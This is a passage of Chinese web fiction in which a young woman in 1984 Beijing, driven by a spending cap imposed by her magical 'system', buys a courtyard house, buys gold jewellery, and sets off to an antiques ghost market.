时爱国心有顾虑道:“墨墨,爸知道你想的周到。可那四合院,一整座买下来,得不少钱吧?咱们家之前买那两间房,就花了快两千块,剩下那三间,房主肯定要价不低,咱们家现在没多少积蓄了。” “钱的事你们不用担心。”时墨笑着开口,“国家给我的五千块奖金,加上出版社刚打过来的两千八百块稿费,还有之前攒的钱,一共一万多块,足够把整个四合院买下来了。这钱是我自己赚的,光明正大,花着也踏实。” 时爱国倒吸一口凉气。 他知道闺女有钱,但不知道有这么多。 “那不行!”李秀兰立刻摆手,“那是你捐国宝国家给的奖金,还有你辛苦写小说赚的稿费,我们怎么能花你的钱买房子?不行不行,绝对不行。” “妈,房子买下来,也是写我的名字,算是我给自己置办的家产,有什么不行的?”时墨拉着李秀兰的手,软声劝道,“我一个女孩子,以后有个自己的院子,自己的房子,也踏实。再说了,咱们一家人住在一起,热热闹闹的,不比挤在这小楼房里强?” “就是咱想买。”李秀兰问道:“可人家住得好好的,凭啥卖给咱啊?” “钱给到位肯定就会卖。”时墨边解释,边数算这里的好处,“现在国家下发这个政策肯定是利于老百姓的,咱们院里剩下那三户要是有条件肯定想趁着政策买楼房,院里剩下那几户也都没啥钱,咱们出个合适的价,肯定有人心动。” 时建军还是不理解:“那咱为啥不买楼房?” 时墨没法说以后四合院是天价,他家这房子可以等到九零年那一波政策,五千块是买这个楼房还是买四合院,但凡是后来的人都会毫不犹豫选四合院! “那院子虽然破点,但位置好,离市中心近。现在老邻居们住的那些房子,都是私房,他们要是愿意卖,咱们就买下来。一个院子都归了咱们家,以后想怎么收拾怎么收拾,养花种菜,养狗养猫,多好。” 时建军挠头:“妹,你这脑子怎么想的?我们都想不到这些。” 时墨指了指收音机:“多关注国家政策,紧跟国家脚步。” 她又看向爸妈:“这个房子咱们也住着,再整个安静地院子,到时候想住哪个住哪个,两全其美。” 时爱国被说动了,看向李秀兰:“墨墨说得也有道理。孩子自己赚的钱,想置办个家产,咱们当父母的,也别拦着了。再说了,独门独院的,确实比楼房安静。” 李秀兰看着女儿恳切的眼神,最终点了点头:“行吧,你们都觉得好,那就办。不过丑话说在前头,房子买下来,得写墨墨你的名字,这是你的钱,我们不能占你的便宜。” “那必须的!”时建军立刻点头,“这是我妹自己赚的钱,买的房子肯定写她的名!” 一家人就这么定了下来。 吃完饭,一家人围在桌边,又细细商量起来。 “那三家老邻居,跟你爸关系都不错,让你爸有空先去问问,看看人家愿不愿意卖。”李秀兰盘算着,“咱们也别压价,人家要多少,只要不离谱,咱们就买下来。” “对,和气生财。”时爱国点头,“还有,这事得低调点。墨墨刚捐了国宝,现在厂里、家属院都盯着咱们家呢,要是让人知道咱们家花大价钱买四合院,指不定背后说什么闲话,招人嫉妒。” 时墨点点头,她早就想到了这一点:“爸,妈,我想好了, 要是有人问,咱们就统一口径。就说我觉得哥有了好工作,以后要结婚占房子,觉得不能光给哥买楼房,我也要有自己院子,别的别提。财不外露,省得惹麻烦。” “对!就这么说!”时建军一拍大腿,在旁边点头:“最近我妹风头太盛了,不能再招人眼红。” 李秀兰也连连点头赞同:“还是我闺女想的周到。这事我和你爸去办,你就安心上课,别的不用管,爸妈保准给你办得妥妥帖帖的。” 第二天一早,时墨去上学前,把一沓钱交给李秀兰。 “妈,这是四千块,你和爸收好。” 李秀兰接过钱:“墨墨,你放心,妈心里有数。” 时墨笑了笑,背上书包出了门。 * 早九点,脑海里就准时响起了系统准点上班的打卡音, 【宿主早上好!美好的一天开始啦~】 时墨笔尖不停:【早。】 【宿主有件事得跟您汇报一下。】 【说。】 【根据奖励条款,您当前可支配资产上限为“国民年收入3倍”。经测算,当前国民年收入约为1239元,3倍为3717元。】 【您当前资产10500元,超过限额6783元,超过比例182%。】 时墨的笔尖顿住了:【你什么意思?】 【您有三次新手保护机会。前三次意外超标,会强制冻结超额财富并发出警告,给予您1天缓冲期处理超标资产,不危及生命。】 【但因为您上学期间,我特意向上级申请了延时处理,超额部分必须在72小时内处理完毕。否则系统将自动执行“超额资产清零”程序。】 时墨差点在课堂上骂出声。 【我怎么不知道有清零这事?之前说的不是冻结,你刚也说了。】 系统解释道:【是的,但是您在上学一天处理不了,所以我申请了延长时间,与之对应的是放假当您花不完系统会直接清理。】 时墨深吸一口气,再缓缓吐出,告诉自己保持冷静。 超额6738元,4000拿出去买房,还剩2738元。 今天周四,周五周六她还得上两天课,看来必须得请假了。 她必须在一天内花掉普通人家两三年的收入。 好,好,好得很。 赚钱不容易,花钱还不容易吗?! 第36章 当晚时墨放学回家, 一进门就看见爸妈俩人坐在桌边,一个捧着搪瓷缸子抿水,眉头皱得能夹死苍蝇, 一个在旁边脸拉得老长。 “爸, 妈, 咋了这是?房子的事不顺利?”时墨放下书包, 拉了把凳子坐下。 “别提了!”李秀兰把缸子往桌上一墩,气不打一处来:“那张寡妇,真是给脸不要脸!” 时墨赶紧给她妈拍后背顺气:“妈你慢慢说,别跟外人生气,气坏自己身子不值当。” “我和你爸下班就往胡同跑, 想趁着傍晚人都下班在家问房子的事方便。东屋老刘家挺爽快, 一听价格合适,当场就点了头。西屋小王两口也正想凑钱买楼房, 说了几句也就答应了。就那个张寡妇, 拿乔得不行!” “我和你爸敲开门,笑脸迎上去, 把来意说了。”李秀兰接过水杯喝了一口, 嗓门都高了, “你猜那婆娘说什么?” 时墨:“她说啥?” “她上下打量我们一眼, 皮笑肉不笑地说:‘哎哟, 时师傅家现在可是发达了呀,闺女这是又上电视又上报纸的,听说还得了不少奖金吧?这买房子, 可得给我们个好价钱。’” 李秀兰学得惟妙惟肖,时墨差点没忍住笑。 “然后呢?” “我一听这话就不对味。”李秀兰放下杯子,“我压着火气, 问她想要多少。她倒好,张嘴就要一千六!” 时爱国也没好气道:“她那房不值钱,价翻了一倍,还说少一分都不卖,明摆着就是看咱们想买,坐地起价!” “一千六?”时墨挑眉。 其实一千六她也能接受,但放现在肯定是亏本买卖。 当时她家买那两间房,才花了不到两千。现在就剩一间北屋,还是三家里面最小的,她开口就要一千六。 时墨:“那还谈什么?当咱家冤大头呢?” “可不是嘛,我心里火腾得冒起来!”李秀兰一拍大腿,“我当时就笑了,我说,周嫂子,你这房子我打听过,公家估价也就八百出头,你开口一千六,这是把我们当冤大头宰呢?那婆娘还振振有词,说‘你们家现在有钱了,还在乎这几百?时墨那丫头捐国宝,国家给了不少吧?’” 时墨脸上的笑淡了下去。 “我就听不得这话。”李秀兰说,“我当时就骂回去了,我说,‘周嫂子,我闺女捐国宝,是给国家做贡献,不是发财去了。国家给的奖金,是她该得的,是她凭本事挣的,跟我们夫妻俩没关系。我们来买房子,是想着以后一家人有个自己院子,不是来让人当肥羊宰的。你这房子,九百块钱爱卖不卖,不卖拉倒!你个脏心烂肺,惦记孩子钱的玩意儿!呸!’” “说完,我拽着你爸就走了,惯的她那臭毛病!真当我们非买她那破房子不可?” “妈,骂得好。”时墨笑着竖起大拇指。她就知道,她妈从来不是软柿子,纺织厂车间班长干了十几年,什么难缠的人没见过,哪能让人拿捏住。 “她就是看咱们诚心买,想敲竹杠。不买就不买,三条腿的蛤蟆难找,合适的房子还不好找?” 时爱国在旁边叹了口气:“就是可惜那院子,就差那一间了。” “有什么可惜的?”李秀兰一扬眉,“咱们又不是非她那间不可。那破院子,买不下来拉倒!” 时墨心里算了下价格,还是觉得能拿下来更划算,便说道:“张寡妇的房子让她自己拿乔去,我手里还有钱,咱们可以把刘叔和王哥他们两家买了,然后租出去。张寡妇看人都换楼房肯定心里不得劲儿,再看咱们真不买了,她到时候得求到咱头上。” “可不是嘛!晾晾她,真当自己破房子是个宝贝了。”李秀兰气顺了点,“不过咱现在房子也够住了。” 李秀兰忽然话锋一转,脸上带着点得意的笑:“说起来也巧,我和你爸正顺着胡同往回走,气呼呼地说这事呢,旁边窜出一个五十来岁的男同志,把我和你爸拦住了。” “哎哟,当时可把我和你妈吓一跳。” “可不是嘛,正骂兴头上,旁边突然窜出来个人来。不过人家穿得干干净净的,一看就是正经人。”李秀兰说,“他拦住我们,问:‘同志,你们是要买房?’” 时爱国点头:“那人说他姓钱,就住前面小院。家里老母亲病了,要去南方投奔闺女,急着卖房凑医药费和路费。刚才路过听见我们说话,就想问问我们有没有意向。” “那房子怎么样?”时墨来了兴趣。 “我当时也没抱希望,就跟着去看了看。”李秀兰脸上笑意更浓,“结果一看,哎哟,可比咱那破院好多了!” 时爱国在旁点头赞同:“那房子确实不错,独门独院的,清净。位置也好,离你学校比咱们现在住的还近。” 李秀兰越说越起劲,抬手比划道“是个一进的院子,正房一间,东西厢房各一间,院里还有棵老石榴树,每年都结满果子,还有口压水井,方便得很!就是没上下水,得去胡同口的公厕,冬天要生炉子,可架不住它是独门独院啊!关起门来就是咱们自己家,谁也管不着!” 时墨一听动心了:“他要多少钱?” “那人一开始要四千,说房子是祖上留下来的,屋里的老家具都一起给我们,不单独算钱。”李秀兰笑得合不拢嘴,“我跟你爸觉得贵了点,就想走。结果他急了,拉着我们不让走,说价格可以商量。我跟他磨了半天,跟他说,你急着去南方,房子放着也是空着,我们诚心买,一次性给全款,不拖不欠。最后砍到三千七!他也痛快,说明天就去房管所办过户,签合同!” 三千七!独门独院的四合院!还带老家具! 时墨直接愣住了,随即心里掀起狂喜。 她本来只想着把原来的院子凑完整,没想到爸妈误打误撞,直接拿下了一座独门独户的小院子! “妈!你也太牛了!”时墨一把抱住李秀兰的胳膊,眼睛亮得惊人,“这太划算了!是咱们占便宜了,对方要不是急着出手,这钱可下不来。” “那是。”李秀兰眉开眼笑,“你妈在跟人砍价砍了三十来年,还能吃亏?” “我跟你爸进去看了,屋里的桌椅板凳和衣柜,都是老硬木的,看着就结实,你不是就喜欢这些老物件吗?我一看,就知道你保准喜欢。” 时建军这时候从里屋看完书,探出头来:“妈,那房子真有你说的那么好?” “明天你请假,跟咱们一起去看看不就知道了?”李秀兰说。 “行啊!” 时墨突然想到:“爸,妈,定金给了吗?” “给了五十块,说好明天一早去房管所过户,过户的时候给全款。”时爱国点点头,“对方人实在,合同都拟好了,就等明天签字盖章。” “这人是啥都置办全了,就等卖呢!”时墨立刻起身,拽了拽时建军的胳膊,“哥,明天你先帮我去学校请个假,就说家里有重要的事,我得跟着爸妈去房管所。这种事得快,夜长梦多,万一人家反悔了就麻烦了。之后是咱房子了你想啥时候去看都行。” “没问题!包在我身上!”时建军拍着胸脯保证,“我明天还得跟师傅学习,为这事请假也不好,反正房子又不能长腿跑了。” 李秀兰也连连点头:“对,刚才是妈想的不妥当,你还是好好跟师傅学,明天一早你就去学校。” 一家人围着桌子,又细细商量了明天过户的细节,直到没问题了才散。 时墨躺在床上,翻来覆去睡不着,心里又激动又期待。 她怎么也没想到,本来只是想解决房子的事,竟然直接拿下了一座属于自己的四合院! 她以前可是抽奖连超市洗衣粉都中不到的人! * 第二天一早,天刚蒙蒙亮,一家人就起了床。 时建军先去学校帮时墨请假,时墨和爸妈拿着钱、户口本,直奔胡同里的钱师傅家,几人汇合后,一起往区房管所赶。 过户手续比时墨想象的要简单。 私房买卖有明确的政策规定,只要双方自愿、手续齐全,房管所核验完材料,签了买卖合同,交了契税,就能办过户拿房产证。 一上午的时间,手续办得顺顺利利。 当盖着红章的房产证递到时墨手里,看着上面清清楚楚写着自己的名字时,时墨不由得攥紧房本。 “恭喜你们,这房子现在是你们的了。” “谢谢谢谢。” 时墨双手接过,心里涌起一种奇异的感觉。 这是她在这个时代,拥有了第一套真正属于自己的房子。 还是个四合院,嘿! 【恭喜宿主!喜提首都四合院一套!固定资产+1!】系统在脑海里放烟花庆祝。 【淡定淡定。】时墨心里说着,脸上却喜上眉梢,笑容止都不止不住。 时爱国去上班,李秀兰带着时墨随钱师傅回了胡同,交接房子的钥匙。 钱师傅把屋里的家具、水电都交代得明明白白,又把院门、屋门的钥匙都递到时墨手里,眼眶有些发红:“小姑娘,这房子是我爷爷传下来的,住了三代人。要不是实在没办法,我真舍不得卖。你……你好好待它。” 时墨接过钥匙,郑重地点了点头:“钱师傅您放心,我会的。” 钱师傅抹了抹眼角,离开了。 时墨送走人后,终于能好好看看自己的房子。 小院在一条安静的胡同深处,离时墨学校骑车不到十分钟。 院子收拾得干干净净,正房坐北朝南,青砖灰瓦,门窗上的雕花虽有些斑驳,但依稀能看出当年的精致。东西厢房各两间。 院中间的老石榴树枝繁叶茂,看着就有些年头了,阳光透过树叶洒下来,像在地上落了一地碎金。 最让时墨移不开眼的,是屋里那些老家具。 八仙桌、太师椅、条案、书桌、雕花床——全都是正经的老物件。 她就算是个古董外行人,也能看出这些家具是好东西! 时墨走进去,手指轻轻抚过那张八仙桌的桌面,桌面光洁温润,触手细腻,纹理如行云流水;一对太师椅油光锃亮,木纹细腻好看;里屋的顶箱柜高大厚重,铜活都亮闪闪的,一看就不是凡品。 系统检测再次启动:【宿主,这张八仙桌,还有这对太师椅,是海南黄花梨,里屋的顶箱柜是小叶紫檀,那张床的床架子是鸡翅木,床板是楠木,保存完好无破损。】 时墨的手停在半空。 【你说什么?】 系统再次重复了一遍。 这次,时墨冷静了。 她想过这些老家具可能值钱,但没想到值这么多。 第37章 钱师傅根本不知道他随手送掉的这些“旧家具”, 在几十年后是什么概念。 “墨墨,发什么呆呢?”李秀兰的声音从院子里传来,“快出来看看, 这院子多好!” 时墨稳了稳心神, 转身走出去:“嗯, 确实被钱师傅规整的不错。” “那是!”李秀兰站在树下, 仰头看着满树石榴,“这石榴看着还差些日子,等过一阵儿都熟了,咱们一家再来摘!” “好啊,到时候……” 时墨正说得起劲儿, 系统的警报声瞬间响起。 【警告!宿主可支配资产上限为3717元。当前可支配现金余额6800元, 超出可支配资产限额6783元!剩余可支配额度17元!】 【您昨日转出的4000元,今日完成房产过户后, 已转为固定资产, 不抵扣超额部分!请宿主于明日9点前,将超额部分6783元全部消费完毕, 否则将执行超额资产清零程序!倒计时剩余20小时37分钟!】 时墨手里的钥匙“啪嗒”一声掉在了地上。 时墨告诉自己要冷静, 沉默三秒后:【你说我买的这房子算固定资产?以后每天只能花17元?】 【是的。如有超额24小时内必须处理。】系统无奈道, 【这个空子真没法钻了, 硬性要求, 请宿主尽快解决超额资产。】 时墨感觉人都麻了。 她昨天还美滋滋地以为,买房子刚好能把超额的大头花出去,完美解决系统的限额问题, 结果闹了半天,白忙活了! 房子买了,钱没花出去, 还得在明早九点前,把六千多块全花光! 她蹲下身捡起钥匙,看着眼前的四合院和满屋子的宝贝家具,哭笑不得。 到手的房子是绝对不可能吐出去的,可这六千多块,一天之内怎么花出去,还不能太张扬? “妈,咱们住的单位房子能今天就办理过户吗?” 李秀兰正摆弄院里花草,听到这话被逗乐了:“傻闺女,这都快中午了,哪有一下午就办完的,最快找人也得一天呢。” 她昨天也不知道能出这事啊! “妈,那你跟我去把王哥他们房子买了吧。”时墨脑子一转,立马拍板道。 “人家都没下班呢,要不咱们明天再去吧。” 明天钱就没了! “哎呀,这点了。”李秀兰看了眼腕表,催道,“妈就请了半天假,下午还得回去上班,咱回去煮个面条简单吃一口,” “妈,你回吧,我再看看房子。”时墨脑子快速运转如何利用下午时间。 “行,那我先走了,你别饿着自己啊。”李秀兰不放心地嘱咐道。 “嗯嗯。”时墨笑着应道。 等李秀兰一走,时墨立马锁门,决定去百货买它个两百克黄金首饰! 刚转身,谢时昀正巧从对面的大宅子走出。 四目相对,两人都愣住了。 时墨万万没想到,会在这儿遇见他。 更没想到,他的住处就在自己新买的院子对面。 “时墨?”谢时昀率先开了口,声音还是一如既往的温和,“你怎么在这儿?” 时墨指了指身后:“我刚把这院子买下来。” “这么巧?”谢时昀愣了一下,随即笑了,“那我以后,得叫你邻居了,有事可以随时来找我。” 时墨扫了眼谢时昀一身随性的居家服,整个人看起来比之前见着时松弛许多,笑道:“好,等院子里石榴熟了,请你来尝。” 谢时昀顺着时墨的话笑了笑:“那我可等着了。你这急匆匆的吃午饭了吗?” 时墨脚步一顿。 “我家里刚做好,不嫌弃的话,进来垫一口?”谢时昀说得随意,语气温和,眼底却藏着一丝不易察觉的期待。 时墨心里正被系统的倒计时搅得火烧火燎,哪有心思吃饭,连忙笑着婉拒:“谢谢,我还有点急事要去办,就不打扰了。等以后收拾好院子,再请你过来做客。” 谢时昀也不勉强,只点点头,侧身让开了路,关心的补了句:“看你脸色不太好,遇事别太着急。要是有什么事,可以来找我,我一般都在家。” 这话里的关心藏得恰到好处,既不越界,又妥帖周到。 时墨笑着道了声谢,快步往外走,走出几步,又想起什么,回头冲他挥了挥手:“邻居,回见啊!” 谢时昀站在门口,看着时墨的背影消失在胡同拐角,嘴角慢慢弯了起来。 “邻居。”他轻轻重复了一遍这个词,像是在品味着什么。 时墨出了胡同,站在路口张望了一会儿,拦了辆三蹦子。 “同志,去百货大楼!” “好嘞,您坐稳!” 【宿主,别慌!还有20个小时呢!先去百货大楼买黄金,肯定能花完!】系统在脑海里不停给她打气。 时墨揉了揉眉心:【但愿吧,别再出什么幺蛾子了。】 二十分钟后,三蹦子停在百货大楼门口。时墨付了钱,推门就往里冲,直奔二楼的黄金首饰柜台。 时墨上楼的时候,心里还挺踏实。结果到了柜台前,一看那几节玻璃柜,心就凉了半截。 柜台里稀稀拉拉摆着几件首饰——几只金戒指,细细的,克重不大;几条金项链,链子细得跟头发丝似的;还有几对耳钉,米粒大的金疙瘩。 就这? “同志,您想看点什么?”售货员是个三十来岁的女同志,烫着卷发,见她进来,笑着迎上来:“项链还是手镯?这几款耳钉也很不错。” 时墨扫了一眼柜台里的金饰,直接问道:“你好,我想问一下,咱们这儿黄金首饰,最大克重的有多少?” “最大?”售货员上下打量她一眼,“您想要多大的?” “二三十克一个的吧,我想买几个。” 售货员愣了一下:“二三十克?您要几个?” 时墨想了想,她妈一个镯子,自己一个镯子,再买个项链戒指啥的:“五六个吧。” 这话一出,售货员倒吸一口气,眼睛瞪得溜圆,像是看外星人一样看着时墨:“小同志,你要多,多少?” 周围几个柜台的售货员也都看了过来,眼神里满是震惊。 现下黄金还是严格管控的稀缺物资,普通人结婚能买个三五克的金戒指就已经很体面了,买个二十克的手镯都得是家底殷实的人家,张口就要近两百克,这简直是闻所未闻。 “手镯、项链、戒指都行,只要足金的。”时墨看着眼前几人的表情,心里已经隐隐有了不好的预感。 售货员终于回过神,连忙摆手:“哎哟同志,这可不行!您要的那种大克重的,我们这儿真没有现货。金戒指最多十克,镯子也就十五六克,再大的得预订。” 时墨的心瞬间沉了下去:“预订?要多久?” “这个说不准,快则一两个月,慢则半年。金料紧张,得等指标。”售货员压低声音,“而且您要的量这么大,得有门路,或者有外汇券。我们这儿的好货,一般都留给外宾或者有外汇券的顾客。” 时墨:“……” 她忘了,这是1984年,不是2024年。 黄金是贵金属,国家统购统销,不是有钱就能随便买的。 系统立刻道歉:【宿主对不起,我漏了这个时代的物资管控规则!】 时墨在心里叹了口气,没怪系统,又看向售货员,语气软和道:“同志,我就想多买点黄金首饰,给我妈妈和家里长辈,能不能通融一下?我可以多加点钱。” 售货员正为难,忽然盯着她的脸看了半天,忽然惊呼一声:“哎哟!你是不是那个给国家捐国宝的时墨同学?前几天报纸上登的那个!” 这话一出,周围的售货员和顾客都围了过来,七嘴八舌地议论: “真的是她!我看过照片!就是这个姑娘!” “我的天,真人比照片上还好看!” “看人家孩子多出息,有钱知道给家里长辈买首饰,真孝顺。” 售货员的态度瞬间更热情了,连忙给她搬了凳子,又倒了杯水,不好意思地说:“时墨同志,真不是我们不通融,这是国家的规定,我们也做不了主。你要是想买,我给你看看我们柜台现有的货,不用票也能给你通融个十克八克的,再多真的不行了。” 她把柜台里最重的几个金手镯、金项链都拿了出来,摆在时墨面前:“你看,这个光圈手镯22克,这个项链15克,还有这对耳环6克,加起来也就43克,一千九百多块钱,这已经是我们柜台能拿给你的所有现货了。” 时墨看着眼前这点金饰,心里小算盘打的噼里啪啦。一千九百块,连她超额部分的三分之一都花不完。便又问道:“那有没有红蓝宝石、翡翠这类的首饰?钻石也行。” 售货员连忙摇头:“哎哟,那玩意儿更稀缺了,全北京也就友谊商店有,还得凭外汇券才能买,我们这儿根本没现货。就算有,也得提前半个月预约,还得有单位开的介绍信才行。” 她顿了顿,压低声音跟时墨说:“实不相瞒,时墨同志,你要是真想买这些稀罕玩意儿,得找外贸单位的熟人弄外汇券,去友谊商店买,但可别去黑市,假的多,路子也不正容易被查。” 外贸单位的熟人,时墨第一个想到的就是开外贸公司的谢时昀。找他弄点外汇券、再让他帮忙找熟人买宝石,对他来说肯定不是难事。 可念头刚冒出来,就被她掐灭了。 就为了花点钱,去麻烦一个不算熟的人,还欠个人情,完全没必要。更何况时间这么紧,就算找谢时昀,也未必能今天就买到现货。她还有别的方案,犯不上求人。 时墨谢过售货员,最终还是把柜台里那43克的金饰全买了下来,花了一千九百三十五块。 【宿主,你要不去买家电?彩电、冰箱、洗衣机,全买顶配,钱花的快!】系统好心提出建议。 【买了往哪放?楼房里爸妈住着,四合院还没收拾,买回去太扎眼了。】时墨摇了摇头,【整个家属院都没几台彩电,我一下子买回去,明天全厂都得议论,太张扬了,再说了那些全是贬值的东西。】 时墨下了楼,站在百货大楼门口,看着来来往往的人流,脑子飞速运转。 黄金宝石买不了,那买什么? 对了,古董! 时墨眼睛瞬间亮了。 聚贤斋那些人手里肯定有好东西!虽然人家不一定愿意卖,但问问总不亏。实在不行,让他们指点指点去哪儿能买到真东西也行。 时墨走向路边,拦了辆蹦蹦:“师傅,去竹笤帚胡同!” 周五下午,聚贤斋里安安静静的,只有陈师傅一个人坐在院子里,手里拿着本书,戴着镜子,看得入神。 听见推门声,他抬头一看是时墨,笑着放下书:“哟,小墨你今天怎么有空过来?不上课?” “请假了。”时墨走过去,在他旁边的马扎上坐下,“陈叔,我有件事想请您帮忙。” 陈师傅给她倒了杯茶:“什么事?说。” 时墨也不绕弯子,接过茶杯,开门见山:“陈叔,我今天来,还真就是想问问您,有没有哪位前辈手里有合适的古籍、字画、老物件愿意割让?我诚心收,价格绝对公道。” 陈师傅愣了一下,随即哈哈大笑:“你这丫头,刚捐了件国宝,又想收宝贝了?我们这几个老家伙手里的东西,都是攥了一辈子的命根子,可不轻易出让。你要真想淘宝贝,我倒是可以给你指条路。” “什么路?” “鬼市。”老陈压低声音,“听过没?” 第38章 时墨心跳漏了一拍。 鬼市, 她当然听过。那是八十年代京里最神秘的古玩交易市场,凌晨开市,天亮散场, 真假混杂, 全凭眼力。 “听过。”时墨点点头, “但不知道具体在哪儿, 有什么规矩。” 老陈放下手中茶壶,细细给她讲了起来:“咱们京城的鬼市,也叫晓市,凌晨两三点开市,天一亮就散市, 来无影去无踪, 所以叫鬼市。里面什么都有,老字画、老家具、金石玉器、古籍善本, 甚至还有宫里流出来的老物件, 鱼龙混杂,真货假货都有, 全看自己的眼力。” 他掰着手指头, 给时墨讲规矩:“鬼市有几个规矩, 你得记牢了。第一, 买东西只许用手电筒照东西, 不许照人脸;第二,看货的时候,东西不落地, 谁拿着谁负责,掉了坏了就得按价赔;第三,买卖全凭眼力, 看走了眼,买了假货,回头不许找后账,人家也不认;第四,还价的时候,不能当着外人的面喊价,俩人袖子里拉手谈价,成不成都不能嚷嚷,坏了规矩。” 他盯着时墨,语气郑重道:“不管买到什么,别当场嚷嚷,别让人知道你捡着漏了。鬼市上什么人都有,有真心买卖的,也有专门盯人的。你这丫头眼力毒,要是真淘着好东西,闷声发大财就完了,别给自己招祸。” “嗯!” “现在京城最有名的鬼市,一个在德胜门外,一个在崇文门,还有一个在宣武门。德胜门的货最全,东西杂,坑也多;崇文门的相对规矩点,大多是出手家里的老物件,假货少点;宣武门算是文人聚集地。开市时间都是凌晨两三点,天亮就散,一分都不多待。” 时墨听得认认真真,把陈师傅说的规矩、地点全记在了心里。 陈师傅还将里面的门道,进出的暗号手势都跟她说了一遍——里面大多其实都是倒斗行当或者是自己手作的东西,哪怕是规矩的崇文门鬼市,也不过是在鬼市内不会有人乱来,出了鬼市那就是各凭本事儿了。 陈师傅拍拍她的肩:“凭你这眼力,去鬼市不吃亏。不过丫头,我得提醒你一句,鬼市上十件有九件是假的,剩下的那一件,也未必值大钱。你手里那点钱,要是全砸进去打了水漂,可别怪我没提醒你。” 时墨笑了:“陈师傅您放心,我掂量得清。真要打水漂了,就当交学费。吃一堑长一智,以后就知道深浅了。” 陈师傅看着她,眼里闪过一丝欣赏:“你这丫头,倒是个拿得起放得下的。行,去吧,淘着好东西了,拿来给我们几个老家伙开开眼。” 末了他还低声提点了一句:可以给一件不错的物件让鬼市里的人帮忙,让她安然回家。 时墨站起身郑重地给陈师傅鞠了一躬:“谢谢您,陈师傅,那我先走了。” 陈师傅连忙扶住她,笑着叮嘱:“你这丫头。鬼市鱼龙混杂,什么人都有,你一个小姑娘,千万别一个人去,必须带个身强力壮的男同志陪着,不然容易吃亏。还有,别带太多现金,也别露富,看货的时候稳着点,别让人看出你是新手,专门坑你。” “我记住了!” 她算了算时间,现在是下午三点,离凌晨两点还有十一个小时,离明早九点的系统截止时间,还有十八个小时。 去鬼市,赌一把,赢了,既能花掉超额的钱,又能淘到宝贝;输了,顶多就是钱没了,可她已经有了一套四合院,还有满屋子的宝贝家具,也没什么输不起的。 大不了,就当是花钱买个教训,以后多注意系统的规则就是了。 时墨道别陈师傅,坐公交回了家。 到家的时候,时建军正好回来,正蹲在楼下修自行车。 “哥,我跟你说个事。 ”时墨凑近时建军身边,悄声道,“明天凌晨两点,你陪我去趟鬼市呗?” 时建军手里的扳手“当啷”一声掉在地上,瞪着眼睛问:“鬼市?妹,你去那地方干啥?那地方乱得很,坑人的可多了!” “我想去淘点东西,一个人去又不安全,你就陪我去一趟,好不好嘛?”时墨眼里满是恳切地看着她哥,撒娇道,“好大哥,我就去这一次,天亮就回来,我说话算话!” 时建军看着妹妹,皱着眉犹豫了半天。 他知道他妹不是胡闹的人,既然想去,肯定有她的道理。而且他妹要去那种鱼龙混杂的地方,他身为大哥,怎么可能不陪着? “行。”时建军点了点头,弹了时墨一个脑瓜崩,“哥陪你去!不过咱可说好了,到了那儿,你别乱说话,别乱买东西,看好了再下手,哥给你盯着人,保证没人敢欺负你!” “谢谢哥!我就知道你对我最好了!”时墨瞬间松了口气,揉了揉脑门,甜甜地笑了。 晚上吃饭的时候,时墨跟爸妈说了一声,只说明早想去鬼市淘点旧书,让哥哥陪着去。时爱国和李秀兰虽然觉得那地方鱼龙混杂,但有儿子陪着,也没多拦着,只反复叮嘱他们注意安全,别惹事。 吃完饭,时墨早早就回了屋,留下保底的17块钱放进钱盒里。把剩下的现金分成好几份,分别缝在了衣服的内兜里、裤兜里,又准备了手电筒、手套,还有一个装东西的布包,全都收拾妥当。 系统:【宿主,你真的要去鬼市啊?那你可要注意安全,我加班帮你盯着!】 时墨笑了笑:【好哦,你可以两点来,七个小时按你三倍工资计算,先把钱扣了吧。】 系统瞬间来了精神:【宿主放心!我保证全程扫描,假货绝对逃不过我的眼睛!让你把钱花得明明白白一分都不浪费!还有您的人身安全,只要有不怀好意的人接近,我立刻警报!】 时墨无奈地摇了摇头,果然她的系统也是个小财迷。 凌晨一点四十五分,时墨定的闹钟响了。她刚坐起身,监控AI的声音就响了起来:【根据监测,凌晨两点是人体深度睡眠时段,不建议外出。请问宿主外出目的?】 【我肚子不舒服,去趟厕所。】时墨随口找了个借口应付过去,轻手轻脚地穿好衣服,溜出了房间,敲了敲时建军的房门。 门很快就开了,时建军早就穿好了衣服,手里还拿着个手电筒,腰上别了个扳手,一脸严肃:“妹,准备好了?走!” 时墨看着哥哥这严阵以待的样子,忍不住笑道:“走!” 兄妹俩轻手轻脚地出了门,凌晨的家属楼里静悄悄的,只有路灯昏黄的光洒在地上,偶尔有几声猫狗叫声。 时建军骑着二八大杠,时墨背着包坐在后座上,手里攥着手电筒,朝着崇文门的方向骑去。 风从耳边吹过,带着凌晨的凉意。 时墨摸了摸衣服里的现金。 鬼市,我来啦! 凌晨两点整,时墨正坐在自行车后座上。 【叮——系统已上线!】系统的声音准时在脑海里响起,精神抖擞得像是刚喝了三杯浓咖啡,【宿主我来啦!AI监控已屏蔽,您今晚的行动绝对安全,放心吧!】 时墨在心里笑道:【你倒是积极。】 【那必须滴!收了加班费就得好好干活,这是职业操守!】系统得意洋洋道,【宿主您知道吗,我现在在同期系统同事里,已经是小富豪了!刚才加班费一到账,我直接充了最贵的量子能量包,把我的鉴假精度又提了一个等级!那帮家伙天天羡慕我有个大方的宿主,嫉妒死他们!让他们之前说我摊上个难缠的宿主……】 【难缠的宿主?】时墨挑眉反问。 【不是我说的!】系统立马表忠心,【都是别人说的,我的宿主讲理的很呢!】 时墨:【行了行了,马上到地方了,准备干活。】 【收到!】系统立刻进入工作状态。 凌晨两点二十五分,崇文门外。 时建军蹬着自行车拐进一条深不见底的胡同,车轮碾过坑洼的路面,发出细碎的沙沙声。时墨坐在后座上,一只手抓着哥哥的衣摆,一只手护着怀里的布包,眼睛盯着前方压低帽檐。 【全范围扫描已开启!】系统的声音在脑海里响起,【宿主注意,前方五十米,鬼市入口,聚集人群约二百人,身份复杂,建议保持警惕。】 时墨的呼吸不自觉地放轻了,她还是第一次来这种地方,一切都得小心谨慎。 拐过一道弯,眼前豁然一亮——不对,不是亮,是无数的光点。 漆黑的胡同里,密密麻麻的手电筒光束像鬼火一样晃动着,贴着地面扫来扫去,绝不往人脸上照。 光束交错间,隐约能看见蹲着的人影,路两边密密麻麻摆满了地摊,一块破布、一张旧报纸,就是一个摊位,上面摆着瓶瓶罐罐、字画古籍、铜器玉器,五花八门,什么都有。 这里没有没有吆喝,没有讨价还价,逛市的人逛市的人都压低着嗓子说话,脚步声很轻,整个胡同里只有布料摩擦声、物件轻轻碰撞的脆响,以及偶尔响起的、压低到几乎听不见的低语。 整个胡同笼罩在一种诡异而压抑的寂静里,像一场活人的默剧,又像一群幽灵在暗中交易。 